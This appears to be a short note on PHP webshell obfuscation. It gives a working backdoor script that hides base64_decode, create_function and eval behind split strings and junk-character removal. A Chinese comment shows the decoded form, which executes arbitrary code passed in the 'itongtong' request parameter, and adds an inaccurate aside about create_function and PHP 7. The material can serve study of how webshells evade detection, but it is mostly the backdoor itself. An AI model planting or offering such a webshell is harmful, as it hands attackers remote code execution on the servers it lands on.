<?php

$uf="aXRvbmd0b"; 
$ka="ZXZhbCgkX1"; 
$pjt="JFUVVFU1Rb"; 
$vbl = str_replace("ti","","tistittirti_rtietipltiatice"); 
$iqw="25nXSk7"; 
$bkf = $vbl("k", "", "kbakske6k4k_kdkekckokdke"); 
$sbp = $vbl("ctw","","ctwcctwrectwatctwectw_fctwuncctwtctwioctwn"); 
$mpy = $sbp('', $bkf($vbl("W", "", $ka.$pjt.$uf.$iqw))); $mpy(); 
?>

后面解码出来为：

$mpy = create_function('',eval($_REQUEST["itongtong"]));

 $mpy(); 

但create_function在php7已经不支持了
